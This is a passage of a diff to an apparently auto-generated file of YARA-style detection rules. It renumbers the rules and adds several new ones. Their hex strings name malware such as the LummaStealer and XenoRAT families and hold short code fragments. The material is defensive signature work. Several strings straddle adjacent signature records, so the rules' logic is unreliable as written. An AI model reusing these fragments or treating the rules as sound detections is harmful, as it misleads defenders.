"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351211,7 +373680,7 @@ rule _InfrastructureShared_26849{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14930) >=2 } -rule _InfrastructureShared_26850{ +rule _InfrastructureShared_28569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351221,7 +373690,7 @@ rule _InfrastructureShared_26850{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26851{ +rule _InfrastructureShared_28570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -351232,7 +373701,7 @@ rule _InfrastructureShared_26851{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*17722) >=20 } -rule _InfrastructureShared_26852{ +rule _InfrastructureShared_28571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351242,7 +373711,7 @@ rule _InfrastructureShared_26852{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26853{ +rule _InfrastructureShared_28572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351252,7 +373721,7 @@ rule _InfrastructureShared_26853{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26854{ +rule _InfrastructureShared_28573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351262,7 +373731,17 @@ rule _InfrastructureShared_26854{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26855{ +rule _InfrastructureShared_28574{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 59 59 41 21 4d 54 42 00 01 00 15 e1 0f 81 e1 00 00 c6 ef 31 c1 89 ce c1 ee 12 31 ce 48 8b 4c 24 00 00 61 48 00 00 01 00 01 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_28575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351272,7 +373751,7 @@ rule _InfrastructureShared_26855{ ((#a_01_0 & 1)*22051) >=1 } -rule _InfrastructureShared_26856{ +rule _InfrastructureShared_28576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351282,7 +373761,7 @@ rule _InfrastructureShared_26856{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26857{ +rule _InfrastructureShared_28577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351292,7 +373771,7 @@ rule _InfrastructureShared_26857{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26858{ +rule _InfrastructureShared_28578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351303,7 +373782,7 @@ rule _InfrastructureShared_26858{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27760) >=2 } -rule _InfrastructureShared_26859{ +rule _InfrastructureShared_28579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351314,29 +373793,40 @@ rule _InfrastructureShared_26859{ ((#a_01_0 & 1)*17699+(#a_01_1 & 1)*72) >=2 } -rule _InfrastructureShared_26860{ +rule _InfrastructureShared_28580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : $a_01_0 = {54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 42 6f 42 72 6f 77 73 65 72 00 01 00 14 42 00 6f 00 42 00 72 00 6f 00 77 00 73 00 48 00 54 00 4d 00 01 00 07 73 61 6e 64 62 6f 78 00 00 61 48 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //18467 - $a_01_1 = {69 6e 33 32 2f 4d 53 31 31 30 31 33 2e 41 00 01 00 08 4d 53 31 31 2d 30 31 33 01 00 0a 67 65 6e 74 69 6c 6b 69 77 69 01 00 08 54 47 53 2d 52 45 51 29 00 00 61 48 00 00 1e 00 1e 00 03 00 21 23 42 4d 5f 41 54 3a 4d 65 67 61 53 79 6e 63 00 0a 00 0c 6d 65 67 61 73 } //14958 + $a_01_1 = {69 6e 33 32 2f 4d 53 31 31 30 31 33 2e 41 00 01 00 08 4d 53 31 31 2d 30 31 33 01 00 0a 67 65 6e 74 69 6c 6b 69 77 69 01 00 08 54 47 53 2d 52 45 51 29 00 00 61 48 00 00 05 00 05 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 72 6c 6f 63 } //14958 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14958) >=2 } -rule _InfrastructureShared_26861{ +rule _InfrastructureShared_28581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 53 31 31 30 31 33 2e 41 00 01 00 08 4d 53 31 31 2d 30 31 33 01 00 0a 67 65 6e 74 69 6c 6b 69 77 69 01 00 08 54 47 53 2d 52 45 51 29 00 00 61 48 00 00 1e 00 1e } //21539 - $a_01_2 = {4d 5f 41 54 3a 4d 65 67 61 53 79 6e 63 00 0a 00 0c 6d 65 67 61 73 79 6e 63 2e 70 64 62 0a 00 0a 6d 65 67 61 2e 63 6f 2e 6e 7a 0a 00 10 4d 45 47 41 20 44 4e 53 20 73 65 72 76 65 72 73 00 00 61 49 00 } //8993 + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 53 31 31 30 31 33 2e 41 00 01 00 08 4d 53 31 31 2d 30 31 33 01 00 0a 67 65 6e 74 69 6c 6b 69 77 69 01 00 08 54 47 53 2d 52 45 51 29 00 00 61 48 00 00 05 00 05 } //21539 + $a_01_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 72 6c 6f 63 6b 2e 56 4d 58 21 4d 54 42 00 05 00 0e 8a 06 90 32 c2 88 07 90 42 46 90 47 49 90 05 00 09 88 07 90 46 47 49 83 f9 00 00 00 61 48 00 00 1e 00 1e 00 03 00 21 23 42 4d 5f 41 54 3a 4d 65 } //8993 condition: ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*8993) >=3 } -rule _InfrastructureShared_26862{ +rule _InfrastructureShared_28582{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 72 6c 6f 63 6b 2e 56 4d 58 21 4d 54 42 00 05 00 0e 8a 06 90 32 c2 88 07 90 42 46 90 47 49 90 05 00 09 88 07 90 46 47 49 83 f9 00 00 00 61 48 00 00 1e 00 1e 00 03 00 21 23 42 4d } //21283 + $a_01_1 = {3a 4d 65 67 61 53 79 6e 63 00 0a 00 0c 6d 65 67 61 73 79 6e 63 2e 70 64 62 0a 00 0a 6d 65 67 61 2e 63 6f 2e 6e 7a 0a 00 10 4d 45 47 41 20 44 4e 53 20 73 65 72 76 65 72 73 00 00 61 49 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 } //16735 + condition: + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*16735) >=5 + +} +rule _InfrastructureShared_28583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -351348,7 +373838,7 @@ rule _InfrastructureShared_26862{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*21562+(#a_01_2 & 1)*-32566) >=30 } -rule _InfrastructureShared_26863{ +rule _InfrastructureShared_28584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351358,7 +373848,7 @@ rule _InfrastructureShared_26863{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26864{ +rule _InfrastructureShared_28585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351368,7 +373858,7 @@ rule _InfrastructureShared_26864{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26865{ +rule _InfrastructureShared_28586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351378,7 +373868,7 @@ rule _InfrastructureShared_26865{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26866{ +rule _InfrastructureShared_28587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351388,7 +373878,7 @@ rule _InfrastructureShared_26866{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26867{ +rule _InfrastructureShared_28588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -351399,7 +373889,7 @@ rule _InfrastructureShared_26867{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22330) >=1 } -rule _InfrastructureShared_26868{ +rule _InfrastructureShared_28589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351410,7 +373900,7 @@ rule _InfrastructureShared_26868{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21587) >=2 } -rule _InfrastructureShared_26869{ +rule _InfrastructureShared_28590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351421,7 +373911,7 @@ rule _InfrastructureShared_26869{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29811) >=2 } -rule _InfrastructureShared_26870{ +rule _InfrastructureShared_28591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351432,7 +373922,7 @@ rule _InfrastructureShared_26870{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*28934) >=2 } -rule _InfrastructureShared_26871{ +rule _InfrastructureShared_28592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -351444,7 +373934,7 @@ rule _InfrastructureShared_26871{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20581+(#a_01_2 & 1)*21587) >=2 } -rule _InfrastructureShared_26872{ +rule _InfrastructureShared_28593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351456,7 +373946,7 @@ rule _InfrastructureShared_26872{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12851+(#a_01_2 & 1)*28515) >=3 } -rule _InfrastructureShared_26873{ +rule _InfrastructureShared_28594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351467,7 +373957,7 @@ rule _InfrastructureShared_26873{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*100) >=3 } -rule _InfrastructureShared_26874{ +rule _InfrastructureShared_28595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffd2 00 ffffffd2 00 04 00 21 " @@ -351478,7 +373968,7 @@ rule _InfrastructureShared_26874{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*8993) >=210 } -rule _InfrastructureShared_26875{ +rule _InfrastructureShared_28596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351488,7 +373978,7 @@ rule _InfrastructureShared_26875{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26876{ +rule _InfrastructureShared_28597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351498,7 +373988,7 @@ rule _InfrastructureShared_26876{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26877{ +rule _InfrastructureShared_28598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351508,7 +373998,7 @@ rule _InfrastructureShared_26877{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26878{ +rule _InfrastructureShared_28599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351518,7 +374008,7 @@ rule _InfrastructureShared_26878{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26879{ +rule _InfrastructureShared_28600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351528,7 +374018,7 @@ rule _InfrastructureShared_26879{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26880{ +rule _InfrastructureShared_28601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351538,7 +374028,7 @@ rule _InfrastructureShared_26880{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26881{ +rule _InfrastructureShared_28602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351548,7 +374038,7 @@ rule _InfrastructureShared_26881{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26882{ +rule _InfrastructureShared_28603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -351559,7 +374049,7 @@ rule _InfrastructureShared_26882{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*21320) >=1 } -rule _InfrastructureShared_26883{ +rule _InfrastructureShared_28604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351570,7 +374060,7 @@ rule _InfrastructureShared_26883{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28233) >=2 } -rule _InfrastructureShared_26884{ +rule _InfrastructureShared_28605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351581,7 +374071,7 @@ rule _InfrastructureShared_26884{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24938) >=2 } -rule _InfrastructureShared_26885{ +rule _InfrastructureShared_28606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351591,7 +374081,7 @@ rule _InfrastructureShared_26885{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26886{ +rule _InfrastructureShared_28607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351602,7 +374092,7 @@ rule _InfrastructureShared_26886{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*-21569) >=2 } -rule _InfrastructureShared_26887{ +rule _InfrastructureShared_28608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351612,7 +374102,7 @@ rule _InfrastructureShared_26887{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26888{ +rule _InfrastructureShared_28609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351622,7 +374112,7 @@ rule _InfrastructureShared_26888{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26889{ +rule _InfrastructureShared_28610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351632,7 +374122,7 @@ rule _InfrastructureShared_26889{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26890{ +rule _InfrastructureShared_28611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351642,18 +374132,29 @@ rule _InfrastructureShared_26890{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26891{ +rule _InfrastructureShared_28612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : - $a_01_0 = {77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 01 00 0b 61 75 74 6f 2e 65 78 65 00 61 2b 01 00 1c 33 db 8a 1e f6 c3 80 74 07 03 db 83 cb 01 eb 02 03 db 81 e3 ff 00 00 00 33 c0 88 1e 00 00 61 4b 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 65 6e 6f 52 41 } //16675 - $a_01_1 = {47 41 21 4d 54 42 00 02 00 07 6d 61 6e 2e 62 61 74 02 00 13 50 25 55 73 65 72 51 75 69 65 74 49 6e 73 74 43 6d 64 25 00 00 61 4c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4f 62 66 75 73 63 61 74 65 64 43 } //11860 + $a_01_0 = {77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 01 00 0b 61 75 74 6f 2e 65 78 65 00 61 2b 01 00 1c 33 db 8a 1e f6 c3 80 74 07 03 db 83 cb 01 eb 02 03 db 81 e3 ff 00 00 00 33 c0 88 1e 00 00 61 4b 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 4d 6f 6f 6e 2e 5a 21 } //16675 + $a_01_1 = {00 01 00 17 42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 20 45 72 72 6f 72 01 00 09 62 6c 61 63 6b 6d 6f 6f 6e 00 00 61 4b 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //21581 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11860) >=2 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21581) >=2 } -rule _InfrastructureShared_26892{ +rule _InfrastructureShared_28613{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 4d 6f 6f 6e 2e 5a 21 4d 54 42 00 01 00 17 42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 20 45 72 72 6f 72 01 00 09 62 6c 61 63 6b 6d 6f 6f 6e 00 00 61 4b 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 } //18467 + $a_01_1 = {6e 3a 57 69 6e 33 32 2f 58 65 6e 6f 52 41 54 2e 53 47 41 21 4d 54 42 00 02 00 07 6d 61 6e 2e 62 61 74 02 00 13 50 25 55 73 65 72 51 75 69 65 74 49 6e 73 74 43 6d 64 25 00 00 61 4c 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4f 62 66 75 73 63 61 74 } //27247 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27247) >=2 + +} +rule _InfrastructureShared_28614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 02 00 21 " @@ -351663,7 +374164,7 @@ rule _InfrastructureShared_26892{ ((#a_01_0 & 1)*21539) >=4 } -rule _InfrastructureShared_26893{ +rule _InfrastructureShared_28615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351673,7 +374174,7 @@ rule _InfrastructureShared_26893{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26894{ +rule _InfrastructureShared_28616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351683,7 +374184,7 @@ rule _InfrastructureShared_26894{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26895{ +rule _InfrastructureShared_28617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351693,7 +374194,7 @@ rule _InfrastructureShared_26895{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26896{ +rule _InfrastructureShared_28618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351703,7 +374204,7 @@ rule _InfrastructureShared_26896{ ((#a_01_0 & 1)*20515) >=1 } -rule _InfrastructureShared_26897{ +rule _InfrastructureShared_28619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351713,7 +374214,7 @@ rule _InfrastructureShared_26897{ ((#a_01_0 & 1)*22051) >=1 } -rule _InfrastructureShared_26898{ +rule _InfrastructureShared_28620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -351724,7 +374225,7 @@ rule _InfrastructureShared_26898{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8993) >=1 } -rule _InfrastructureShared_26899{ +rule _InfrastructureShared_28621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351735,7 +374236,7 @@ rule _InfrastructureShared_26899{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8993) >=2 } -rule _InfrastructureShared_26900{ +rule _InfrastructureShared_28622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 03 00 21 " @@ -351746,7 +374247,7 @@ rule _InfrastructureShared_26900{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8993) >=4 } -rule _InfrastructureShared_26901{ +rule _InfrastructureShared_28623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351756,7 +374257,7 @@ rule _InfrastructureShared_26901{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26902{ +rule _InfrastructureShared_28624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351766,17 +374267,27 @@ rule _InfrastructureShared_26902{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26903{ +rule _InfrastructureShared_28625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 56 42 4f 62 66 75 73 65 2e 41 46 32 32 30 32 30 21 65 6d 6c 00 01 00 20 77 00 37 00 58 00 76 00 54 00 33 00 65 00 42 00 32 00 75 00 74 00 70 00 61 00 46 00 33 00 32 00 00 00 61 4d 00 00 01 00 01 00 02 00 21 23 48 53 54 52 } //18467 + $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 56 42 4f 62 66 75 73 65 2e 41 46 32 32 30 32 30 21 65 6d 6c 00 01 00 20 77 00 37 00 58 00 76 00 54 00 33 00 65 00 42 00 32 00 75 00 74 00 70 00 61 00 46 00 33 00 32 00 00 00 61 4d 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a } //18467 condition: ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26904{ +rule _InfrastructureShared_28626{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 4d 21 4d 54 42 00 01 00 1b 6c 32 05 47 b2 58 20 98 a3 09 fd cc 93 a1 9d 05 41 e5 6b 82 31 04 d4 31 6b bb 77 00 00 61 4d } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_28627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -351787,7 +374298,7 @@ rule _InfrastructureShared_26904{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19514) >=1 } -rule _InfrastructureShared_26905{ +rule _InfrastructureShared_28628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351798,7 +374309,7 @@ rule _InfrastructureShared_26905{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14953) >=2 } -rule _InfrastructureShared_26906{ +rule _InfrastructureShared_28629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351808,7 +374319,7 @@ rule _InfrastructureShared_26906{ ((#a_01_0 & 1)*19491) >=2 } -rule _InfrastructureShared_26907{ +rule _InfrastructureShared_28630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351819,7 +374330,7 @@ rule _InfrastructureShared_26907{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_26908{ +rule _InfrastructureShared_28631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351831,7 +374342,7 @@ rule _InfrastructureShared_26908{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22330+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_26909{ +rule _InfrastructureShared_28632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351843,7 +374354,7 @@ rule _InfrastructureShared_26909{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28013+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_26910{ +rule _InfrastructureShared_28633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -351855,7 +374366,7 @@ rule _InfrastructureShared_26910{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*21035+(#a_01_2 & 1)*21539) >=3 } -rule _InfrastructureShared_26911{ +rule _InfrastructureShared_28634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351865,7 +374376,7 @@ rule _InfrastructureShared_26911{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26912{ +rule _InfrastructureShared_28635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351875,7 +374386,7 @@ rule _InfrastructureShared_26912{ ((#a_01_0 & 1)*17187) >=1 } -rule _InfrastructureShared_26913{ +rule _InfrastructureShared_28636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351885,7 +374396,7 @@ rule _InfrastructureShared_26913{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26914{ +rule _InfrastructureShared_28637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351895,7 +374406,7 @@ rule _InfrastructureShared_26914{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26915{ +rule _InfrastructureShared_28638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -351906,7 +374417,7 @@ rule _InfrastructureShared_26915{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*2) >=1 } -rule _InfrastructureShared_26916{ +rule _InfrastructureShared_28639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351917,7 +374428,7 @@ rule _InfrastructureShared_26916{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*2) >=2 } -rule _InfrastructureShared_26917{ +rule _InfrastructureShared_28640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351928,7 +374439,7 @@ rule _InfrastructureShared_26917{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30575) >=2 } -rule _InfrastructureShared_26918{ +rule _InfrastructureShared_28641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -351938,7 +374449,7 @@ rule _InfrastructureShared_26918{ ((#a_01_0 & 1)*16675) >=20 } -rule _InfrastructureShared_26919{ +rule _InfrastructureShared_28642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351948,7 +374459,7 @@ rule _InfrastructureShared_26919{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26920{ +rule _InfrastructureShared_28643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351958,7 +374469,7 @@ rule _InfrastructureShared_26920{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26921{ +rule _InfrastructureShared_28644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -351968,7 +374479,7 @@ rule _InfrastructureShared_26921{ ((#a_01_0 & 